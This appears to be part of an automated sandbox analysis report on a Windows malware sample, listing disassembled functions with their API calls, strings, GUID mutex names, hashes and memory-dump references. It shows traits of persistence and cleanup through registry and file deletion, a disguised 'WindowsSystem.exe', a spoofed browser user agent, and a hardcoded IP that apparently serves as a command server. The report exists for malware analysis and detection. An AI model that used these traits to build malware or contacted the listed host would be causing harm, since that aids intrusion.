CloseHandle.KERNEL32(00000000), ref: 0030C042
LocalFree.KERNEL32(00000000), ref: 0030C04F
LocalFree.KERNEL32(00000000), ref: 0030C05C
shutdown.WS2_32(?,00000002), ref: 0030C068
closesocket.WS2_32(?), ref: 0030C072

Strings

"%s%s" %s, xrefs: 0030C0DC
D, xrefs: 0030C107
{0F01F64A-5A5B-4CC4-B069-D85368F634DD}, xrefs: 0030C0CB
%s%s, xrefs: 0030BFB5
WindowsSystem.exe, xrefs: 0030BFA9, 0030C0D0
{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 0030C00D, 0030C149

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: EventLocal$_memsetlstrcpy$AddressAllocDirectoryFreeHandleProcWow64$CloseCreateCurrentDisableModuleOpenRedirectionWindows__snwprintfclosesocketsetsockoptshutdownwnsprintf
String ID: "%s%s" %s$%s%s$D$WindowsSystem.exe${0F01F64A-5A5B-4CC4-B069-D85368F634DD}${DD700AA6-D197-4A4A-838A-B93EA96F236B}
API String ID: 535781040-2280803059
Opcode ID: 3d2c04497036cc5447225c36f04bbc28f299c374c1232b59eca25933a64b0735
Instruction ID: ef908b84d178b960eb5a1a6961d95c12744039f96b095d4bdd6d58a5394823ea
Opcode Fuzzy Hash: 3d2c04497036cc5447225c36f04bbc28f299c374c1232b59eca25933a64b0735
Instruction Fuzzy Hash: E2915CB5A10218EFDB36DBA4DC59BADB778BF48300F1041A8F60DA6291D7749AC4CF11

Function 003097A0 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 292registrymemorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00309811
lstrcpyW.KERNEL32(00000000,00000000), ref: 0030982C
StrStrIW.SHLWAPI(00000000,.DLL), ref: 0030983B
_memset.LIBCMT ref: 0030985D
__snwprintf.LIBCMT ref: 0030987B
RegGetValueW.ADVAPI32(80000001,?,00000000,00000008,00000000,00000000,00000000), ref: 003098AA
LocalAlloc.KERNEL32(00000040,?), ref: 003098DA
RegGetValueW.ADVAPI32(80000001,?,00000000,00000008,00000000,00000000,00000000), ref: 00309915

Strings

SOFTWARE\%s, xrefs: 0030986A
rT=, xrefs: 00309953
.DLL, xrefs: 00309832
{D961EA11-3F69-43D1-8581-E526BBBDC738}, xrefs: 00309865
(Z6, xrefs: 00309B01

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: AllocLocalValue$__snwprintf_memsetlstrcpy
String ID: (Z6$.DLL$SOFTWARE\%s$rT=${D961EA11-3F69-43D1-8581-E526BBBDC738}
API String ID: 2286648044-2150405501
Opcode ID: 136e8dd978d9e6093687f022c2c9196b6c2fe3f906700273efeaf930750b9381
Instruction ID: 3e9f45c1e1ec63c6d96890ce2774413aa6eaf0614f77e0a5fb9988463864c194
Opcode Fuzzy Hash: 136e8dd978d9e6093687f022c2c9196b6c2fe3f906700273efeaf930750b9381
Instruction Fuzzy Hash: 64D15974E012189FDB25DB64DC9DBAAB7B8AF88300F1085D9E50DAB291DB709E80CF51

Function 00308CD0 Relevance: 52.8, APIs: 27, Strings: 3, Instructions: 290memoryfilestringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00308D3E
lstrcpyW.KERNEL32(00000000,00000000), ref: 00308D59
StrStrIW.SHLWAPI(00000000,.DLL), ref: 00308D68
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00308D8D
GetFileSize.KERNEL32(000000FF,00000000), ref: 00308DA6
LocalAlloc.KERNEL32(00000040,000000FF), ref: 00308DBF
ReadFile.KERNEL32(000000FF,00000000,000000FF,?,00000000), ref: 00308DE4
CloseHandle.KERNEL32(000000FF), ref: 00308DFA

Strings

rT=, xrefs: 00308E28
.DLL, xrefs: 00308D5F
(Z6, xrefs: 00308F64

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: File$AllocLocal$CloseCreateHandleReadSizelstrcpy
String ID: (Z6$.DLL$rT=
API String ID: 2968648924-93524146
Opcode ID: 7b38cf283f6a8524713e1b0b8a6138d205d73e999f094a423d2d44c0a230da1a
Instruction ID: a761c7f38a10abc072bd103fa445f7f7332da028819c37c92df63433c9a6a9e2
Opcode Fuzzy Hash: 7b38cf283f6a8524713e1b0b8a6138d205d73e999f094a423d2d44c0a230da1a
Instruction Fuzzy Hash: CEC14C75E01208EBDB29DFE4DC99BEEBB79BF48300F108529E615AB290C7359981CF50

Function 003075B0 Relevance: 51.0, APIs: 21, Strings: 8, Instructions: 285registryfileCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00307603
StrStrIW.SHLWAPI(00000000,.DLL), ref: 00307813
DeleteFileW.KERNEL32(00000000), ref: 0030783A
LocalFree.KERNEL32(00000000), ref: 0030785B
LocalFree.KERNEL32(00000000), ref: 00307868
__snwprintf.LIBCMT ref: 0030789D
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 003078B8

Part of subcall function 003081C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00308D2B,00316B10,00000000), ref: 003081EB
Part of subcall function 003081C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00308D2B), ref: 00308205
Part of subcall function 003081C0: wnsprintfW.SHLWAPI ref: 00308235
Part of subcall function 003081C0: wnsprintfW.SHLWAPI ref: 00308251
Part of subcall function 003081C0: LocalFree.KERNEL32(00000000), ref: 00308A43

StrStrIW.SHLWAPI(00000000,.DLL), ref: 00307910
DeleteFileW.KERNEL32(00000000), ref: 00307937
LocalFree.KERNEL32(00000000), ref: 00307958
LocalFree.KERNEL32(00000000), ref: 00307965
StrStrIW.SHLWAPI(00000000,.DLL), ref: 0030799A
_memset.LIBCMT ref: 003079D5
__snwprintf.LIBCMT ref: 003079F3
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,000F013F,?), ref: 00307A15
RegDeleteValueW.ADVAPI32(?,00000000), ref: 00307A2D
RegCloseKey.ADVAPI32(?), ref: 00307A4D
LocalFree.KERNEL32(00000000), ref: 00307A5A
LocalFree.KERNEL32(00000000), ref: 00307A67
shutdown.WS2_32(?,00000002), ref: 00307AA0
closesocket.WS2_32(?), ref: 00307AAA

Part of subcall function 00320CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00320CED

Part of subcall function 00320950: ___crtGetLocaleInfoEx.LIBCMTD ref: 0032096D

Strings

SOFTWARE\%s, xrefs: 003079E2
.DLL, xrefs: 00307904
, xrefs: 0030778E
{D961EA11-3F69-43D1-8581-E526BBBDC738}, xrefs: 00307887, 003079DD
SOFTWARE\%s, xrefs: 0030788C
.DLL, xrefs: 00307807
.DLL, xrefs: 0030798E
#, xrefs: 00307798

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Delete$AllocFileInfoLocale___crt__snwprintfwnsprintf$CloseOpenValue_memsetclosesocketsetsockoptshutdown
String ID: $#$.DLL$.DLL$.DLL$SOFTWARE\%s$SOFTWARE\%s${D961EA11-3F69-43D1-8581-E526BBBDC738}
API String ID: 421061684-1784904374
Opcode ID: 78575592498caaf7cce90d6c60e05bf29cb055c747ba4ed46b29bb7b34bd7d7b
Instruction ID: 51e16ddfcead1329c20b175efdca8543a824193857501041640a9bb32f80eee0
Opcode Fuzzy Hash: 78575592498caaf7cce90d6c60e05bf29cb055c747ba4ed46b29bb7b34bd7d7b
Instruction Fuzzy Hash: 74D117B1D002299BEB25DF50CC89BEEB7B8BF44304F10C5D9E549AB281DB759A84DF90

Function 00307AC0 Relevance: 49.4, APIs: 25, Strings: 3, Instructions: 403registrymemoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00307B13
_memset.LIBCMT ref: 00307BA4
__snwprintf.LIBCMT ref: 00307BC2
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,00000000,00000000), ref: 00307BEC
LocalAlloc.KERNEL32(00000040,?), ref: 00307C80
RegCloseKey.ADVAPI32(00000000), ref: 00308096
LocalFree.KERNEL32(00000000), ref: 003080AC
LocalFree.KERNEL32(00000000), ref: 003080C2
LocalFree.KERNEL32(00000000), ref: 003080D8
shutdown.WS2_32(?,00000002), ref: 003080F7
closesocket.WS2_32(?), ref: 00308101

Part of subcall function 00320CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00320CED

Part of subcall function 00320950: ___crtGetLocaleInfoEx.LIBCMTD ref: 0032096D

Strings

rT=, xrefs: 00307D06
SOFTWARE\%s, xrefs: 00307BB1
{D961EA11-3F69-43D1-8581-E526BBBDC738}, xrefs: 00307BAC

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$InfoLocale___crt$AllocCloseCreate__snwprintf_memsetclosesocketsetsockoptshutdown
String ID: SOFTWARE\%s$rT=${D961EA11-3F69-43D1-8581-E526BBBDC738}
API String ID: 1227969885-643280724
Opcode ID: e6ee4b68e6b2117bf2746ff0a23a19ae02172fe0611ab9b8ed62ac8d63a1634a
Instruction ID: 021e827a25a24898b8dcd811ab1af9794fab9b4df43316b7843908155e710e09
Opcode Fuzzy Hash: e6ee4b68e6b2117bf2746ff0a23a19ae02172fe0611ab9b8ed62ac8d63a1634a
Instruction Fuzzy Hash: AB025CB0D01219EBEB36CB54CC59BAAB778BF48310F108298E659A72C1DB715EC5CF61

Function 0031BB20 Relevance: 49.2, APIs: 22, Strings: 6, Instructions: 244librarymemoryCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}), ref: 0031BB32
LoadLibraryW.KERNEL32(KERNEL32.DLL), ref: 0031BB42
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0031BB59
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104), ref: 0031BB7D
ExitProcess.KERNEL32 ref: 0031BE75

Part of subcall function 00316BE0: SetEvent.KERNEL32(00000000,?,0031BE80), ref: 00316BFC
Part of subcall function 00316BE0: WaitForSingleObject.KERNEL32(00000000,000000FF,?,0031BE80), ref: 00316C14
Part of subcall function 00316BE0: CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316C2A
Part of subcall function 00316BE0: SetEvent.KERNEL32(00000000,?,0031BE80), ref: 00316C3F
Part of subcall function 00316BE0: WaitForSingleObject.KERNEL32(00000000,000000FF,?,0031BE80), ref: 00316C57
Part of subcall function 00316BE0: CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316C6D
Part of subcall function 00316BE0: CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316C82
Part of subcall function 00316BE0: SetEvent.KERNEL32(00000000,?,0031BE80), ref: 00316C98
Part of subcall function 00316BE0: WaitForSingleObject.KERNEL32(00000000,000000FF,?,0031BE80), ref: 00316CB0
Part of subcall function 00316BE0: CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316CC5
Part of subcall function 00316BE0: SetEvent.KERNEL32(00000000,?,0031BE80), ref: 00316CDB
Part of subcall function 00316BE0: WaitForSingleObject.KERNEL32(00000000,000000FF,?,0031BE80), ref: 00316CF3
Part of subcall function 00316BE0: CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316D08
Part of subcall function 00316BE0: CloseHandle.KERNEL32(00000000,?,0031BE80), ref: 00316D1E

CloseHandle.KERNEL32(000002EC), ref: 0031BE8F
CloseHandle.KERNEL32(00000000), ref: 0031BE9F
CloseHandle.KERNEL32(00000000), ref: 0031BEC6
LocalFree.KERNEL32(00000000), ref: 0031BED6
ExitProcess.KERNEL32 ref: 0031BEE7

Strings

{FF4E2D7F-189B-498D-BED3-F1AA783F6E3F}, xrefs: 0031BC82, 0031BCA6
{7A93683D-6831-4ED6-AF6B-BEBF672AD8B7}, xrefs: 0031BD06, 0031BD2A
{7E105FD4-6112-4FB9-A722-91E984087449}, xrefs: 0031BBC0
{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}, xrefs: 0031BB26
{6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}, xrefs: 0031BCC4, 0031BCE8
KERNEL32.DLL, xrefs: 0031BB3D

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait$ExitLocalProcess$AllocFileFreeLibraryLoadModuleMutexNameOpen
String ID: KERNEL32.DLL${6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}${7A93683D-6831-4ED6-AF6B-BEBF672AD8B7}${7E105FD4-6112-4FB9-A722-91E984087449}${8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}${FF4E2D7F-189B-498D-BED3-F1AA783F6E3F}
API String ID: 2953619224-1144826392
Opcode ID: 6d0df5066db99bbfa826566ad9de00aa9d1a80acf1d84bfa3617d5351dd9e1cb
Instruction ID: 90f6fdd6ae6e4072f1f38e87b052713cd85742537835ff1a06a9e4e840afa8c9
Opcode Fuzzy Hash: 6d0df5066db99bbfa826566ad9de00aa9d1a80acf1d84bfa3617d5351dd9e1cb
Instruction Fuzzy Hash: 77A16D70904308EFDB2FAFA5ED997EEB6B8BB08715F104119F615A6290DB7449C4CF22

Function 00321220 Relevance: 45.2, APIs: 30, Instructions: 186synchronizationmemorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00321EA0: lstrcpyA.KERNEL32(0037D4C0,185.157.162.216), ref: 00321EF4

WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0032117D
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 003211A0
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 003211B8
setsockopt.WS2_32(00000000,0000FFFF,00000008,00000001,00000004), ref: 0032126B
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00321281
LocalAlloc.KERNEL32(00000040,00000004), ref: 00321298
CreateThread.KERNEL32(00000000,00000000,00321580,00000000,00000000,00000000), ref: 003212C4
GetTickCount.KERNEL32 ref: 003212E1
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00321309
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00321323
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0032133E
shutdown.WS2_32(00000000,00000002), ref: 003213D7
closesocket.WS2_32(00000000), ref: 003213E1
SetEvent.KERNEL32(00000000), ref: 003213F2
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 003213FE
CloseHandle.KERNEL32(00000000), ref: 00321419
LocalFree.KERNEL32(00000000), ref: 00321430
CloseHandle.KERNEL32(00000000), ref: 0032143A
shutdown.WS2_32(00000000,00000002), ref: 00321453
closesocket.WS2_32(00000000), ref: 0032145D
CloseHandle.KERNEL32(00000000), ref: 00321469
ExitProcess.KERNEL32 ref: 003214B0
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 003214C6
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 003214D7
SetEvent.KERNEL32(00000000), ref: 003214E8
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 003214F4
CloseHandle.KERNEL32(00000000), ref: 00321504
CloseHandle.KERNEL32(00000000), ref: 0032151B
CloseHandle.KERNEL32(00000000), ref: 00321534
ReleaseMutex.KERNEL32(00000000), ref: 0032154E
CloseHandle.KERNEL32(00000000), ref: 00321558
CloseHandle.KERNEL32(00000000), ref: 00321568
CloseHandle.KERNEL32(00000000), ref: 00321572

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$CloseHandle$Event$CreateLocalclosesocketshutdown$AllocCountExitFreeMutexProcessReleaseThreadTicklstrcpysetsockopt
String ID:
API String ID: 2113405211-0
Opcode ID: 52593a43761b2bfeb4c4af2bc3bafd78477e771791978a8e50038ead8aac305c
Instruction ID: 1c0ddf2fecc4f17f628b07255c957b7bec0d10d20c81a7dd2f318d549461f16d
Opcode Fuzzy Hash: 52593a43761b2bfeb4c4af2bc3bafd78477e771791978a8e50038ead8aac305c
Instruction Fuzzy Hash: F9714374900214EFDB2ADFA4EE8DBAE7779BF58701F208514F606A62E0C7789984CF50

Function 00312F20 Relevance: 42.1, APIs: 18, Strings: 6, Instructions: 129sleepregistrymemoryCOMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(00100002,00000000,{B189748B-D39F-48B3-A389-0325B737C49A}), ref: 00312F3F
SetEvent.KERNEL32(00000000), ref: 00312F5B
CloseHandle.KERNEL32(00000000), ref: 00312F68
OpenMutexW.KERNEL32(00100000,00000000,{37C6EA19-2C19-41BB-90A5-BF73BD18C9D4}), ref: 00312F84
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00312FA2
CloseHandle.KERNEL32(00000000), ref: 00312FAF
SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,?), ref: 00312FC5
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00312FDA
__snwprintf.LIBCMT ref: 0031301F
lstrlenW.KERNEL32(00000000), ref: 0031302E
_memset.LIBCMT ref: 0031306A
GetFileAttributesW.KERNEL32(00000000), ref: 003130A5
SHFileOperationW.SHELL32(?), ref: 003130C2
Sleep.KERNEL32(000003E8), ref: 003130E2
LocalFree.KERNEL32(00000000), ref: 003130F1
CoTaskMemFree.COMBASE(?), ref: 003130FE
wnsprintfW.SHLWAPI ref: 0031312E
RegDeleteKeyExW.ADVAPI32(80000001,?,00000000,00000000), ref: 00313147

Strings

Software\%s, xrefs: 0031311D
{37C6EA19-2C19-41BB-90A5-BF73BD18C9D4}, xrefs: 00312F78
{54A93AF2-DD4B-4995-A4AC-B7CC5F84077D}, xrefs: 00313002
%s\%s, xrefs: 0031300E
{B189748B-D39F-48B3-A389-0325B737C49A}, xrefs: 00312F33
{D3D2D73B-80E1-4BE8-8EAF-E74D52FB5827}, xrefs: 00313118

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseEventFileFreeHandleLocalOpen$AllocAttributesDeleteFolderKnownMutexObjectOperationPathSingleSleepTaskWait__snwprintf_memsetlstrlenwnsprintf
String ID: %s\%s$Software\%s${37C6EA19-2C19-41BB-90A5-BF73BD18C9D4}${54A93AF2-DD4B-4995-A4AC-B7CC5F84077D}${B189748B-D39F-48B3-A389-0325B737C49A}${D3D2D73B-80E1-4BE8-8EAF-E74D52FB5827}
API String ID: 1130256755-467414241
Opcode ID: 7d58d21c2fc157f0a7aee5c6822d769fa45cdc0cc5edd0c410375fc8ca1a62c9
Instruction ID: 142020ffc81b3a98890ae37f5c998b02e1a13d12dfa9357994e7ccf4f07df2e5
Opcode Fuzzy Hash: 7d58d21c2fc157f0a7aee5c6822d769fa45cdc0cc5edd0c410375fc8ca1a62c9
Instruction Fuzzy Hash: 98517C70E082589BDB769B20CC49BE977B8FF0C700F0081DAE50DA6290DBB86AC4CF51

Function 0031B630 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 209synchronizationCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 0031B654
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 0031B678
LocalFree.KERNEL32(00000000), ref: 0031B928
CloseHandle.KERNEL32(00000000), ref: 0031B93D
CloseHandle.KERNEL32(00000000), ref: 0031B95D
CloseHandle.KERNEL32(00000000), ref: 0031B97D

Strings

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0, xrefs: 0031B6C1

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$Create$EventFreeLocalMutex
String ID: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0
API String ID: 4059844998-3593534564
Opcode ID: 3b5ff18b5b889cd29604c13ad9799b75b1e4a91450a84ca3d72ff26da25f8350
Instruction ID: 69420755ad8f8e33b7caccb786546ac6f50adf9a413db0837a82e7d530d34c27
Opcode Fuzzy Hash: 3b5ff18b5b889cd29604c13ad9799b75b1e4a91450a84ca3d72ff26da25f8350
Instruction Fuzzy Hash: 90914074A00314DFE72BDF64DD89BAAB7BDBF48701F148159E6096A2A0C7745AC4CF12

Function 00328307 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00326189), ref: 0032830F
__mtterm.LIBCMT ref: 0032831B

Part of subcall function 00328054: DecodePointer.KERNEL32(00000004,0032847D,?,00326189), ref: 00328065
Part of subcall function 00328054: TlsFree.KERNEL32(00000003,0032847D,?,00326189), ref: 0032807F
